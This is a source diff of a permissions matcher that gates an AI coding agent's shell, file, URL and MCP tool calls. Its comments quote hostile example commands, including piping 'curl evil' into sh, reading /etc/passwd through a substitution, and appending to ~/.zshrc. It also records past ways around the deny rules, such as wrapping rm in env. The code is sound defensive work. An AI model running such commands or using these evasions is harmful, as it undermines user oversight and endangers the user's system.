one-code-extension 0.4.1 → 0.6.0

package/extensions/permissions/matcher.ts

@@ -7,11 +7,16 @@
  * existing ~/.claude/settings.json files work unchanged.
  */
 
+import { statSync } from "node:fs";
 import { homedir } from "node:os";
 import { isAbsolute, relative, resolve } from "node:path";
-import { analyzeShellCommand, hasInjectionSyntax, leadTokens, parseCommand, resolvePayload } from "../auto-mode/shell-analysis.ts";
-import { pathArgument, resolveForContainment } from "../auto-mode/paths.ts";
+import { domainToASCII } from "node:url";
+import { analyzeShellCommand, INLINE_SCRIPT_SHELLS, isUnknownTilde, leadTokens, movesDirectory, parseCommand, resolvePayload, type ShellEvidence } from "../auto-mode/shell-analysis.ts";
+import { pathArgument, resolveForContainment, toAbsolute, toAbsoluteBash } from "../auto-mode/paths.ts";
+import { isSensitivePath } from "../auto-mode/sensitive.ts";
 import { isProtectedPath, isWritingTool } from "./protected-paths.ts";
+import { powershellTreeContainedEdits } from "./powershell-tree.ts";
+import type { PowerShellParse } from "../lib/powershell-parser.ts";
 import {
 	canonicalCommandName,
 	canonicalizeStatement,
@@ -38,6 +43,7 @@ const CC_TOOL_NAMES: Record<string, string> = {
 	glob: "find",
 	find: "find",
 	ls: "ls",
+	artifact: "artifact",
 	notebookedit: "notebook_edit",
 	notebook_edit: "notebook_edit",
 	webfetch: "web_fetch",
@@ -62,6 +68,9 @@ const CC_TOOL_NAMES: Record<string, string> = {
 	taskstop: "task_stop",
 	monitor: "monitor",
 	schedulewakeup: "schedule_wakeup",
+	croncreate: "cron_create",
+	cronlist: "cron_list",
+	crondelete: "cron_delete",
 	sendmessage: "SendMessage",
 	send_message: "SendMessage", // pre-rename internal name
 	listagents: "list_agents",
@@ -104,12 +113,13 @@ export interface PermissionRule {
  * names may carry `-` and `.` — MCP tools keep their servers' hyphens
  * (`mcp__github__delete-repo`), and a rule naming one used to be dropped
  * silently (review P5) — and `:`, the plugin MCP namespace
- * (`mcp__plugin:name:server__tool`).
+ * (`mcp__plugin:name:server__tool`). MCP rules also accept the server-wide
+ * `mcp__server__*` spelling; no other tool-name wildcards are supported.
  */
 export function parseRule(raw: string): PermissionRule | undefined {
 	const trimmed = raw.trim();
 	if (!trimmed) return undefined;
-	const match = trimmed.match(/^([A-Za-z0-9_.:-]+)(?:\((.*)\))?$/s);
+	const match = trimmed.match(/^(mcp__[A-Za-z0-9_.:-]+__\*|[A-Za-z0-9_.:-]+)(?:\((.*)\))?$/s);
 	if (!match) return undefined;
 	const [, name, pattern] = match;
 	return { raw: trimmed, tool: normalizeToolName(name), pattern: pattern || undefined };
@@ -225,17 +235,20 @@ export function matchesBashPattern(pattern: string, command: string): boolean {
 /**
  * The separately-executing subcommands of a bash command line — what `&&`,
  * `||`, `;`, `|`, `&`, and unquoted newlines separate — or undefined when the
- * line cannot be parsed (unbalanced quotes). A single simple command comes
- * back as itself.
+ * line cannot be parsed or uses a construct the pre-gate does not model (a
+ * subshell, a loop, a function): an allow rule covers the commands its author
+ * wrote, not `(npm test)` or a loop around them. A single simple command comes
+ * back as itself. The commands inside a substitution are not listed: they are
+ * part of the subcommand whose word they compute ({@link findBashAllowRule}).
  */
 export function bashSubcommands(command: string): string[] | undefined {
-	const { segments, parseFailed } = parseCommand(command.trim());
-	if (parseFailed) return undefined;
-	return segments.map((seg) => seg.raw).filter((raw) => raw.length > 0);
+	const { segments, parseFailed, complex } = parseCommand(command.trim());
+	if (parseFailed || complex) return undefined;
+	return segments.filter((seg) => seg.substitution === undefined).map((seg) => seg.raw).filter((raw) => raw.length > 0);
 }
 
-/** Shells whose `-c` argument is a nested command line. */
-const SHELL_INTERPRETERS = new Set(["sh", "bash", "zsh", "dash", "ksh", "fish"]);
+/** Redirect targets that are devices, never files: always fine under an allow rule. */
+const DEVICE_TARGETS = new Set(["/dev/null", "/dev/stdout", "/dev/stderr", "/dev/tty"]);
 
 /** The script a `sh -c '…'` / `bash -lc '…'` invocation runs, if any. */
 function inlineShellScript(args: string[]): string | undefined {
@@ -245,13 +258,27 @@ function inlineShellScript(args: string[]): string | undefined {
 	return undefined;
 }
 
+/**
+ * The pieces of a line the grammar could not parse, split at every separator
+ * and substitution opener, for the deny forms only. Rough on purpose: a deny
+ * form may only widen, and `cat <<EOF; rm y` (a heredoc whose body comes later
+ * on the line) must still meet `Bash(rm:*)`.
+ */
+function roughPieces(line: string): string[] {
+	return line
+		.split(/[;&|\n()`]|\$\(|[<>]\(/)
+		.map((piece) => piece.trim())
+		.filter((piece) => piece && piece !== line);
+}
+
 /**
  * Every spelling of a command line a deny/ask pattern is tested against: the
  * raw line, each subcommand, and each subcommand's *payload form* — transparent
- * wrappers peeled (`env`, `command`, `nice`, `timeout`, `xargs`, …), subshell
- * and group punctuation stripped, the command word reduced to its lowercased
- * basename (`/bin/rm`, `\rm`, `RM` → `rm`), and a `sh|bash|zsh -c '…'` script
- * expanded recursively. Claude Code strips the same wrappers before its deny
+ * wrappers peeled (`env`, `command`, `nice`, `timeout`, `xargs`, …), the
+ * commands inside subshells, groups and substitutions, the command word reduced to its lowercased
+ * basename (`/bin/rm`, `\rm`, `RM` → `rm`), and a `sh|bash|zsh -c '…'` script,
+ * an `eval` line, a `trap` handler and a `find -exec` command expanded
+ * recursively. Claude Code strips the same wrappers before its deny
  * check (`bashPermissions.ts stripSafeWrappers`); until 2026-09-05 `env rm -f
  * x` ran past `Bash(rm:*)` here after a plain "Allow bash?" prompt
  * (PERMISSIONS-REVIEW-2026-09-05 M1). Deny/ask only — an allow rule keeps
@@ -264,21 +291,57 @@ export function bashMatchForms(command: string, depth = 0): string[] {
 	if (!trimmed) return [];
 	forms.add(trimmed);
 	if (depth > 4) return [...forms];
+	const nested: string[] = [];
+	// The commands inside `$(…)`, backticks and `<(…)` are segments of their
+	// own. A line that did not parse still gives its best-effort segments, and
+	// its rough pieces besides.
 	const { segments, parseFailed } = parseCommand(trimmed);
-	if (parseFailed) return [...forms];
+	if (parseFailed) nested.push(...roughPieces(trimmed));
+	// A shell on the line may run its input, a `-c` script included (`sh -c
+	// 'eval "$(cat)"'`). Then every heredoc and here-string on the line, and
+	// the words an `echo`/`printf` prints, may be the script it reads
+	// (`sh <<'EOF'`, `cat <<EOF | sh`, `echo 'rm -rf x' | sh`). Only then, so
+	// a commit message mentioning `rm` never meets `Bash(rm:*)`.
+	const payloads = segments.map((segment) => resolvePayload(leadTokens(segment), "wide"));
+	if (payloads.some((payload) => INLINE_SCRIPT_SHELLS.has(payload.command))) {
+		for (const [index, segment] of segments.entries()) {
+			nested.push(...(segment.stdin ?? []));
+			const { command: printer, args } = payloads[index];
+			if (printer === "echo" || printer === "printf") nested.push(args.map((token) => token.value).filter((value) => !/^-[neE]+$/.test(value)).join(" "));
+		}
+	}
 	for (const segment of segments) {
 		if (segment.raw) forms.add(segment.raw);
 		const tokens = leadTokens(segment);
 		if (tokens.length === 0) continue;
-		const payload = resolvePayload(tokens);
+		// The wide reading also peels sudo/doas and returns the command lines
+		// wrapper options carry (`flock -c`, `env -S`).
+		const payload = resolvePayload(tokens, "wide");
+		nested.push(...payload.scripts);
 		if (!payload.command) continue;
 		const args = payload.args.map((token) => token.value);
 		forms.add([payload.command, ...args].join(" "));
-		if (SHELL_INTERPRETERS.has(payload.command)) {
+		if (INLINE_SCRIPT_SHELLS.has(payload.command)) {
 			const script = inlineShellScript(args);
-			if (script) for (const form of bashMatchForms(script, depth + 1)) forms.add(form);
+			if (script) nested.push(script);
+		}
+		// `eval` runs its arguments joined into one command line.
+		if (payload.command === "eval") nested.push(args.join(" "));
+		// `trap 'cmd' EXIT` runs its first argument later, as a command line.
+		if (payload.command === "trap") {
+			const handler = args[args[0] === "--" ? 1 : 0];
+			if (handler && !handler.startsWith("-")) nested.push(handler);
+		}
+		// `find … -exec cmd {} ;` runs cmd on every match.
+		if (payload.command === "find") {
+			for (const [index, arg] of args.entries()) {
+				if (!["-exec", "-execdir", "-ok", "-okdir"].includes(arg)) continue;
+				const end = args.findIndex((word, at) => at > index && (word === ";" || word === "+"));
+				nested.push(args.slice(index + 1, end < 0 ? undefined : end).join(" "));
+			}
 		}
 	}
+	for (const script of nested) for (const form of bashMatchForms(script, depth + 1)) forms.add(form);
 	return [...forms];
 }
 
@@ -331,14 +394,27 @@ export function isShellTool(toolName: string): boolean {
  * that literal string); otherwise the command is split into subcommands and
  * every one of them must be covered by some allow rule — `Bash(npm test:*)`
  * alone never covers `npm test && curl evil | sh`, while `Bash(npm test:*)` +
- * `Bash(git status:*)` together cover `npm test && git status`. Prefix and
- * wildcard rules never cover a command carrying command substitution, process
- * substitution, eval/exec, a pipe into an interpreter, or a base64 decode:
- * what runs is not what the words say, so the rule's author never saw it. An
- * unparseable line is not covered. The rule returned is the first one that
- * covered a subcommand (for the "allowed by rule …" note).
+ * `Bash(git status:*)` together cover `npm test && git status`. `eval`, `sh`
+ * or `xargs` is a subcommand like any other, so it needs a rule of its own.
+ *
+ * A command or process substitution runs its commands to compute a word of
+ * the subcommand around it, so each of those commands must be covered too:
+ * by a rule, or, for the whole substitution at once, by `readOnly` (the
+ * auto-mode pre-gate's proof that it reads only inside the working directory
+ * and writes nothing). So `Bash(git commit:*)` covers `git commit -m "$(cat
+ * <<'EOF' … EOF)"` but not `npm test $(curl evil)`. The read-only shortcut
+ * is off when the line moves directory first (`cd /etc && git commit -m
+ * "$(cat passwd)"`), since the check resolves paths from the working
+ * directory. An unparseable line, or one with a construct the pre-gate does
+ * not model, is not covered. The rule returned is the first one that covered
+ * a subcommand (for the "allowed by rule …" note).
  */
-export function findBashAllowRule(rules: PermissionRule[], command: string, toolName = "bash"): PermissionRule | undefined {
+export function findBashAllowRule(
+	rules: PermissionRule[],
+	command: string,
+	toolName = "bash",
+	opts: { readOnly?: (command: string) => boolean } = {},
+): PermissionRule | undefined {
 	const cmd = command.trim();
 	if (!cmd) return undefined;
 	// `monitor` carries a shell command too and is judged with the same
@@ -351,19 +427,38 @@ export function findBashAllowRule(rules: PermissionRule[], command: string, tool
 	);
 	if (exact) return exact;
 	// PowerShell lines split on PowerShell's separators and match alias-
-	// canonicalized, case-insensitively (powershell-rules.ts); the shape of
-	// the rule — every statement covered, no injection syntax — is the same.
-	const powershell = normalizeToolName(toolName) === "powershell";
-	if (powershell ? powershellInjectionSyntax(cmd) : hasInjectionSyntax(cmd)) return undefined;
-	const subs = powershell ? powershellStatements(cmd) : bashSubcommands(cmd);
-	if (!subs || subs.length === 0) return undefined;
-	const matches = powershell ? matchesPowerShellPattern : matchesBashPattern;
+	// canonicalized, case-insensitively (powershell-rules.ts), and a line with
+	// injection syntax is never covered.
+	if (normalizeToolName(toolName) === "powershell") {
+		if (powershellInjectionSyntax(cmd)) return undefined;
+		const statements = powershellStatements(cmd);
+		if (!statements || statements.length === 0) return undefined;
+		let first: PermissionRule | undefined;
+		for (const statement of statements) {
+			const rule = bashRules.find((r) => r.pattern !== undefined && matchesPowerShellPattern(r.pattern, statement));
+			if (!rule) return undefined;
+			first ??= rule;
+		}
+		return first;
+	}
+	const parsed = parseCommand(cmd);
+	if (parsed.parseFailed || parsed.complex) return undefined;
+	const ruleFor = (raw: string) => bashRules.find((r) => r.pattern !== undefined && matchesBashPattern(r.pattern, raw));
+	const topLevel = parsed.segments.filter((seg) => seg.substitution === undefined && seg.raw.length > 0);
+	if (topLevel.length === 0) return undefined;
 	let first: PermissionRule | undefined;
-	for (const sub of subs) {
-		const rule = bashRules.find((r) => r.pattern !== undefined && matches(r.pattern, sub));
+	for (const seg of topLevel) {
+		const rule = ruleFor(seg.raw);
 		if (!rule) return undefined;
 		first ??= rule;
 	}
+	const topLevelMoves = topLevel.some(movesDirectory);
+	for (const [index, text] of parsed.substitutions.entries()) {
+		const inner = parsed.segments.filter((seg) => seg.substitution === index);
+		if (inner.every((seg) => ruleFor(seg.raw))) continue;
+		if (!topLevelMoves && opts.readOnly?.(text)) continue;
+		return undefined;
+	}
 	return first;
 }
 
@@ -462,11 +557,16 @@ export function extractSubject(toolName: string, input: Record<string, unknown>)
 			return str("url") ?? "";
 		case "web_search":
 			return str("query") ?? "";
+		case "Agent":
+			return str("subagent_type") ?? "";
 		case "enter_worktree":
 			return str("name") ?? str("path") ?? "";
 		case "read_mcp_resource":
 		case "read_mcp_resource_dir":
 			return str("uri") ?? "";
+		case "artifact":
+			// publish names its source; list, open and delete show their arguments.
+			return pathArgument(input) ?? compactArguments(input);
 	}
 	if (isPathSubjectTool(name)) return pathArgument(input) ?? "";
 	return pathArgument(input) ?? compactArguments(input);
@@ -485,13 +585,34 @@ export function urlHost(url: string): string | undefined {
 	return undefined;
 }
 
+/** Match URL hostname canonicalization without discarding a malformed rule's path or query. */
+function normalizeDomain(domain: string): string {
+	if (/[/\\?#@\u0000-\u0020\u007f]/.test(domain)) return "";
+	return domainToASCII(domain).toLowerCase().replace(/(?<=[^*.])\.+(?=(:\d+)?$)/, "");
+}
+
 /**
- * URL rule match: Claude Code's `WebFetch(domain:example.com)` form compares
- * the URL's host exactly; any other pattern is a glob over the whole URL.
+ * Claude Code's domain wildcards stay within a label, except a leading `*.`
+ * which covers one or more subdomain labels (never the bare domain).
  */
+function matchesDomainPattern(pattern: string, host: string): boolean {
+	const domain = normalizeDomain(pattern);
+	const candidate = normalizeDomain(host);
+	if (!domain || !candidate) return false;
+	if (domain === candidate || domain === "*") return true;
+	const subdomains = domain.startsWith("*.");
+	const suffix = subdomains ? domain.slice(2) : domain;
+	const source = suffix.split("*").map((part) => part.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("[^.:]*");
+	return new RegExp(`^${subdomains ? "(?:[^.:]+\\.)+" : ""}${source}$`).test(candidate);
+}
+
+/** Domain rules match normalized hosts; other patterns are globs over the whole URL. */
 function matchesUrlPattern(pattern: string, url: string): boolean {
-	const domain = pattern.match(/^domain:(.+)$/)?.[1]?.trim().toLowerCase();
-	if (domain) return urlHost(url) === domain;
+	const domain = pattern.match(/^domain:(.+)$/)?.[1]?.trim();
+	if (domain) {
+		const host = urlHost(url);
+		return host !== undefined && matchesDomainPattern(domain, host);
+	}
 	return globToRegex(pattern, false).test(url);
 }
 
@@ -528,6 +649,15 @@ export function isInsideDir(candidate: string, dir: string, cwd: string): boolea
 }
 
 /** `isInsideDir`, plus the directory itself (`ls <cwd>` lists the working directory). */
+/** Whether a path is a regular file (after symlinks); false when it is anything else or cannot be read. */
+function isRegularFile(path: string): boolean {
+	try {
+		return statSync(path).isFile();
+	} catch {
+		return false;
+	}
+}
+
 export function isAtOrInsideDir(candidate: string, dir: string, cwd: string): boolean {
 	return toAbsoluteFolded(candidate, cwd) === toAbsoluteFolded(dir, cwd) || isInsideDir(candidate, dir, cwd);
 }
@@ -550,15 +680,17 @@ export function ruleMatches(rule: PermissionRule, toolName: string, subject: str
 		case "url":
 			return matchesUrlPattern(rule.pattern, subject);
 		case "text":
-			return globToRegex(rule.pattern, false).test(subject);
+			// The agent catalog resolves names case-insensitively (Explore/explore).
+			return globToRegex(rule.pattern, false, normalizeToolName(toolName) === "Agent").test(subject);
 	}
 }
 
 /**
  * Whether a rule's tool covers a call's tool: the same name, or Claude Code's
- * server-wide MCP form — `mcp__github` covers every `mcp__github__*` tool, and
- * `mcp__plugin:x:server` the plugin-namespaced form. A rule naming a specific
- * tool (`mcp__github__delete_repo`, two `__` groups) stays exact. Until
+ * server-wide MCP forms — `mcp__github` and `mcp__github__*` cover every tool
+ * on that server, and `mcp__plugin:x:server` is the plugin-namespaced form.
+ * A rule naming a specific tool (`mcp__github__delete_repo`, two `__` groups)
+ * stays exact. Until
  * 2026-09-05 the server-wide spelling, the natural way to keep an agent off a
  * server, matched nothing (PERMISSIONS-REVIEW-2026-09-05 M3).
  */
@@ -566,8 +698,10 @@ export function ruleCoversTool(ruleTool: string, toolName: string): boolean {
 	const tool = normalizeToolName(toolName);
 	if (ruleTool === tool) return true;
 	if (!ruleTool.startsWith("mcp__")) return false;
-	const server = ruleTool.slice("mcp__".length);
-	return server.length > 0 && !server.includes("__") && tool.startsWith(`${ruleTool}__`);
+	const wildcard = ruleTool.endsWith("__*");
+	const prefix = wildcard ? ruleTool.slice(0, -3) : ruleTool;
+	const server = prefix.slice("mcp__".length);
+	return server.length > 0 && (wildcard || !server.includes("__")) && tool.startsWith(`${prefix}__`);
 }
 
 /** Risk tier drives the unmatched-rule default. */
@@ -593,9 +727,18 @@ export function toolTier(toolName: string): ToolTier {
  */
 export function isPathSubjectTool(toolName: string): boolean {
 	const name = normalizeToolName(toolName);
-	return isWritingTool(name) || toolTier(name) === "safe";
+	return isWritingTool(name) || toolTier(name) === "safe" || READS_A_PATH.has(name);
 }
 
+/**
+ * Custom-tier tools that read the file their path argument names: `artifact`
+ * copies its source page into the store and opens it in the browser. They stay
+ * gated like any custom tool, and the read-path rules apply on top:
+ * `blockReadsOutsideWorkingDirectories` refuses an outside path, and no allow
+ * rule covers one (the mode decides).
+ */
+const READS_A_PATH = new Set(["artifact"]);
+
 /**
  * Tools that never need approval: they change no state outside the session and
  * touch no network or filesystem the user hasn't already opted into.
@@ -632,8 +775,13 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
 	// Inspecting/stopping background work this session already started.
 	"task_output",
 	"task_stop",
-	// A timer that replays a prompt; no side effects outside the session.
+	// The session's cron store: timers that replay a prompt, and listing and
+	// cancelling them. (schedule_wakeup and cron_create are here for every mode
+	// but auto, where CLASSIFY_IN_AUTO_TOOLS sends them to the classifier.)
 	"schedule_wakeup",
+	"cron_list",
+	"cron_delete",
+	"cron_create",
 	// Resumes/messages an agent — same reasoning as Agent: the child enforces its
 	// own tool permissions. (monitor and enter/exit_worktree stay gated: they
 	// run arbitrary shell commands / mutate the filesystem.)
@@ -714,6 +862,48 @@ export interface DecideInput {
 	 * (PERMISSIONS-REVIEW-2026-09-05 M7).
 	 */
 	protectedDirs?: string[];
+	/**
+	 * The harness's own secret stores (`lib/permission-gate.ts
+	 * runtimeSecretPaths`, the sole producer): files, and directories judged
+	 * with everything under them. Absolute, literal and resolved. Outside the
+	 * working space they count as credential paths, like the basename
+	 * denylist: a read tool never reads one unclassified, and a workspace
+	 * directory does not make one working space.
+	 */
+	secretPaths?: string[];
+	/**
+	 * The workspace directories in force (permissions/workspace.ts), absolute and
+	 * resolved. A read inside one is a working-space read, and acceptEdits may
+	 * write inside one, as in Claude Code; a credential path inside one is not
+	 * working space. Auto mode's unclassified writes stay confined to the working
+	 * directory (the classifier's containment fast path never sees these).
+	 */
+	workspaceDirs?: string[];
+	/**
+	 * The calling model is frontier or workhorse tier, so its calls get Claude
+	 * Code's fast paths (`lib/model-tier.ts usesClaudeCodeFastPaths`). Absent is
+	 * the stricter gate cheap and tiny models keep.
+	 */
+	claudeCodeFastPaths?: boolean;
+	/**
+	 * PowerShell's own parse of a `powershell` subject (lib/powershell-parser.ts),
+	 * made by the caller before deciding. Absent, no PowerShell line is read-only
+	 * or a contained edit here: the gate clears nothing it has not parsed.
+	 */
+	powershellParse?: PowerShellParse;
+	/**
+	 * Claude Code's `permissions.blockReadsOutsideWorkingDirectories`: the read
+	 * tools refuse a path outside the working space, in every mode.
+	 */
+	blockReadsOutsideWorkingDirectories?: boolean;
+	/**
+	 * Documentation the harness ships and reads (lib/guide-docs.ts: One Code's
+	 * user guide, the running pi's docs and examples), absolute and resolved.
+	 * A read inside one is allowed like a working-directory read, on every model
+	 * tier, so the `one-code-guide` agent reads them without a prompt. Never a
+	 * write root: only read checks consult it (`workingSpaceHolds` with `reads`).
+	 */
+	readOnlyDirs?: string[];
 }
 
 export interface Decision {
@@ -731,6 +921,12 @@ export interface Decision {
 		| "mode"
 		| "tier"
 		| "protected-path"
+		/** A shell command the read-only check proves reads only inside the working space. */
+		| "read-only"
+		/** A read tool outside the working space, allowed unclassified in auto mode (Claude Code's safe allowlist). */
+		| "outside-read"
+		/** A read tool outside the working space, refused by `blockReadsOutsideWorkingDirectories`. */
+		| "blocked-outside-read"
 		/** A read, or an acceptEdits write, whose path is outside the working directory. */
 		| "working-dir";
 }
@@ -755,6 +951,16 @@ const PLAN_READ_ONLY_TOOLS = new Set(["web_fetch", "web_search", "list_mcp_resou
  */
 const DELEGATION_TOOLS = new Set(["Agent", "workflow", "SendMessage"]);
 
+/**
+ * Allowed in every mode but auto, where the classifier reviews them: Claude
+ * Code's `CronCreate` and `ScheduleWakeup` (findings §21: "Scheduling a cron
+ * prompt requires classifier review", "Scheduling a /loop wakeup requires
+ * classifier review"). A scheduled prompt replays later with nobody watching,
+ * so the classifier judges what it asks for. Unlike DELEGATION_TOOLS, an allow
+ * rule for one still applies in auto mode.
+ */
+const CLASSIFY_IN_AUTO_TOOLS = new Set(["cron_create", "schedule_wakeup"]);
+
 /**
  * Interpreters and runners whose arguments are code, so a wildcarded rule over
  * them (`Bash(python*)`, `Bash(npm run *)`) grants arbitrary execution just as
@@ -811,6 +1017,23 @@ export function isBroadExecutionRule(rule: PermissionRule): boolean {
 
 export function decide(params: DecideInput): Decision {
 	const { toolName, subject, cwd, mode, deny, ask, allow } = params;
+	/**
+	 * The harness's readable session dirs and the workspace directories,
+	 * realpath'd, as the auto-mode pre-gate sees them (permissions/index.ts
+	 * `readableRoots`).
+	 */
+	const sessionReadableRoots = () => [
+		...[params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath, params.sessionDirPath].filter((d): d is string => !!d).map((d) => resolveForContainment(d) ?? d),
+		...(params.readOnlyDirs ?? []),
+		...(params.workspaceDirs ?? []),
+	];
+	/** The auto-mode pre-gate's evidence for a shell command, as the permissions extension's pre-gate sees it. */
+	const shellEvidence = (command: string, writableRoots?: string[]): ShellEvidence =>
+		analyzeShellCommand({ command, cwd, home: homedir(), protectedDirs: params.protectedDirs, readableRoots: sessionReadableRoots(), writableRoots });
+	/** A safe verdict with no writes is exactly read-only: a safe line may still redirect inside the project. */
+	const isReadOnly = (evidence: ShellEvidence): boolean => evidence.verdict === "safe" && evidence.writes.length === 0;
+	/** The pre-gate's proof that a command only reads inside the project, for a substitution in an allowed command. */
+	const readOnlyShell = (command: string): boolean => isReadOnly(shellEvidence(command));
 
 	// In dontAsk mode anything that would prompt is denied instead — including
 	// explicit ask rules: there is no user to put the question to.
@@ -845,22 +1068,56 @@ export function decide(params: DecideInput): Decision {
 		// The harness's readable session dirs, as the auto-mode pre-gate sees them
 		// (permissions/index.ts `readableRoots`): a plan-mode read of this project's
 		// transcripts is a read like any other.
-		const readableRoots = [params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath, params.sessionDirPath].filter((d): d is string => !!d).map((d) => resolveForContainment(d) ?? d);
+		const readableRoots = sessionReadableRoots();
 		if (tool === "bash" && subject) {
-			const evidence = analyzeShellCommand({ command: subject, cwd, home: homedir(), protectedDirs: params.protectedDirs, readableRoots });
-			if (evidence.verdict === "safe" && evidence.writes.length === 0) return { decision: "allow", cause: "plan-readonly" };
+			const evidence = shellEvidence(subject);
+			if (isReadOnly(evidence)) return { decision: "allow", cause: "plan-readonly" };
 			// Read-only, but of a path outside the working directory: still a read,
 			// so it is put to the user rather than refused as a plan-mode mutation
 			// (the read tools ask for the same path below).
 			if (evidence.readOnlyOutside && evidence.writes.length === 0) return { decision: "ask", cause: "working-dir" };
 		}
-		// The PowerShell counterpart: Claude Code's read-only cmdlet allowlist,
-		// with in-project paths by shape (powershell-rules.ts).
-		if (tool === "powershell" && subject && powershellReadOnly(subject, { cwd, home: homedir(), readableRoots }).readOnly) return { decision: "allow", cause: "plan-readonly" };
-		if (PLAN_READ_ONLY_TOOLS.has(tool)) return { decision: "allow", cause: "plan-readonly" };
+		// The PowerShell counterpart: read-only cmdlets on in-project paths,
+		// judged from PowerShell's own parse (powershell-tree.ts).
+		if (tool === "powershell" && subject && powershellReadOnly({ parse: params.powershellParse, cwd, home: homedir(), readableRoots }).readOnly) return { decision: "allow", cause: "plan-readonly" };
+		if (PLAN_READ_ONLY_TOOLS.has(tool)) {
+			const askRule = ask.find((r) => ruleMatches(r, toolName, subject, cwd));
+			return askRule ? askOrDeny(askRule) : { decision: "allow", cause: "plan-readonly" };
+		}
 		return { decision: "deny", cause: "plan-mode" };
 	}
 
+	/**
+	 * Whether an absolute path is a credential: the basename denylist, or at or
+	 * under one of the harness's own secret stores (`secretPaths`).
+	 */
+	const isCredential = (absolute: string): boolean =>
+		isSensitivePath(absolute) || (params.secretPaths ?? []).some((secret) => isAtOrInsideDir(absolute, secret, cwd));
+	/**
+	 * Whether `target` (where `spelled` resolves) is working space: the working
+	 * directory, the harness's session dirs, the plan file, and the workspace
+	 * directories except for the credentials in them. For a read (`reads`), the
+	 * shipped docs folders (`readOnlyDirs`) count too; they are never written.
+	 */
+	const workingSpaceHolds = (spelled: string, target: string, workspace = true, reads = false): boolean => {
+		const roots = [cwd, params.resolvedCwd, params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath, params.sessionDirPath, ...(reads ? (params.readOnlyDirs ?? []) : [])];
+		if (roots.some((dir) => dir && isAtOrInsideDir(target, dir, cwd))) return true;
+		// A workspace directory is working space except for the credentials in it:
+		// adding a directory must not make its keys readable without a prompt.
+		// Judged on the spelling and on where it resolves, so a symlink cannot
+		// launder a credential in either direction.
+		const sensitive = [spelled, target].some((candidate) => isCredential(toAbsolute(cwd, candidate, homedir())));
+		if (workspace && !sensitive && (params.workspaceDirs ?? []).some((dir) => isAtOrInsideDir(target, dir, cwd))) return true;
+		return params.planFilePath ? isPlanFilePath(target, params.planFilePath, cwd) : false;
+	};
+	// Claude Code's blockReadsOutsideWorkingDirectories refuses a read tool's
+	// outside path before any ask or allow rule can prompt for it or allow it
+	// (bypass mode returned above).
+	const readsPath = tier === "safe" || READS_A_PATH.has(tool);
+	if (params.blockReadsOutsideWorkingDirectories && readsPath && subject && !workingSpaceHolds(subject, params.resolvedSubject ?? subject, true, true)) {
+		return { decision: "deny", cause: "blocked-outside-read" };
+	}
+
 	// An explicit ask rule is the user's stated intent to be prompted, so it wins
 	// over auto mode too: the classifier never gets to auto-approve a match.
 	const askRule = ask.find((r) => ruleMatches(r, toolName, subject, cwd));
@@ -896,18 +1153,59 @@ export function decide(params: DecideInput): Decision {
 	// Protected-path writes are checked *before* allow rules, so an
 	// `Edit(.claude/**)` entry cannot pre-approve reconfiguring the agent's own
 	// permissions or planting a git hook. In auto mode they go to the classifier.
-	const protectedTarget = () =>
-		[subject, params.resolvedSubject].some(
+	const isProtected = (...candidates: (string | undefined)[]) =>
+		candidates.some(
 			(candidate) =>
 				candidate &&
 				(isProtectedPath(candidate, cwd) || (params.protectedDirs ?? []).some((dir) => isInsideDir(candidate, dir, cwd))),
 		);
-	if (isWritingTool(tool) && subject && protectedTarget()) {
+	if (isWritingTool(tool) && subject && isProtected(subject, params.resolvedSubject)) {
 		if (mode === "dontAsk") return { decision: "deny", cause: "protected-path" };
 		if (mode === "auto") return { decision: "classify", cause: "protected-path" };
 		return { decision: "ask", cause: "protected-path" };
 	}
 
+	const outsideWorkingDir = (): Decision => {
+		if (mode === "auto") return { decision: "classify", cause: "working-dir" };
+		if (mode === "dontAsk") return { decision: "deny", cause: "working-dir" };
+		return { decision: "ask", cause: "working-dir" };
+	};
+
+	/**
+	 * Whether a redirect on the line reads or writes outside the working space,
+	 * onto a protected path, or somewhere only known at runtime (an expansion,
+	 * a glob, `~user`, or a relative target after a `cd`).
+	 */
+	const redirectEscapes = (command: string): boolean => {
+		const { segments, parseFailed } = parseCommand(command.trim());
+		// A line that did not parse may hide a redirect the segments dropped.
+		if (parseFailed) return /[<>]/.test(command);
+		const home = homedir();
+		// Only a `cd` before a redirect moves where its relative target lands.
+		let moved = false;
+		for (const segment of segments) {
+			if (movesDirectory(segment)) moved = true;
+			const targets = [...segment.redirects.map((value) => ({ value, write: true })), ...segment.inputs.map((token) => ({ value: token.value, write: false }))];
+			if (targets.length > 0 && segment.unknownTarget) return true;
+			for (const { value: target, write } of targets) {
+				if (DEVICE_TARGETS.has(target) || target.startsWith("/dev/fd/")) continue;
+				if (isUnknownTilde(target) || /[*?[]/.test(target)) return true;
+				if (moved && !isAbsolute(target) && !target.startsWith("~")) return true;
+				const absolute = toAbsoluteBash(cwd, target, home);
+				const resolved = resolveForContainment(absolute) ?? absolute;
+				// Auto mode's unclassified writes stay in the working directory, a
+				// workspace directory's included (decisions/modes.md).
+				if (!workingSpaceHolds(target, resolved, !(write && mode === "auto"), !write)) return true;
+				if (isProtected(absolute, resolved)) return true;
+			}
+		}
+		return false;
+	};
+
+	// A custom tool's read outside the working space is never pre-approved by an
+	// allow rule: a bare `Artifact` rule is for publishing the project's pages.
+	if (READS_A_PATH.has(tool) && subject && !workingSpaceHolds(subject, params.resolvedSubject ?? subject, true, true)) return outsideWorkingDir();
+
 	const usableAllow =
 		mode === "auto"
 			? allow.filter((rule) => {
@@ -921,12 +1219,60 @@ export function decide(params: DecideInput): Decision {
 	const allowRule =
 		subjectKind(tool) === "command"
 			? subject
-				? findBashAllowRule(usableAllow, subject, tool)
+				? findBashAllowRule(usableAllow, subject, tool, { readOnly: readOnlyShell })
 				: undefined
 			: usableAllow.find((r) => ruleMatches(r, toolName, subject, cwd));
-	if (allowRule) return { decision: "allow", rule: allowRule, cause: "rule" };
+	if (allowRule) {
+		// Claude Code's path constraints, checked before any allow rule: a rule
+		// for the command never covers a redirect outside the working space
+		// (`Bash(echo:*)` and `echo … >> ~/.zshrc`), or onto a protected path.
+		if (subjectKind(tool) === "command" && subject && normalizeToolName(tool) !== "powershell" && redirectEscapes(subject)) return outsideWorkingDir();
+		return { decision: "allow", rule: allowRule, cause: "rule" };
+	}
 
-	if (mode === "auto" && DELEGATION_TOOLS.has(tool)) {
+	/**
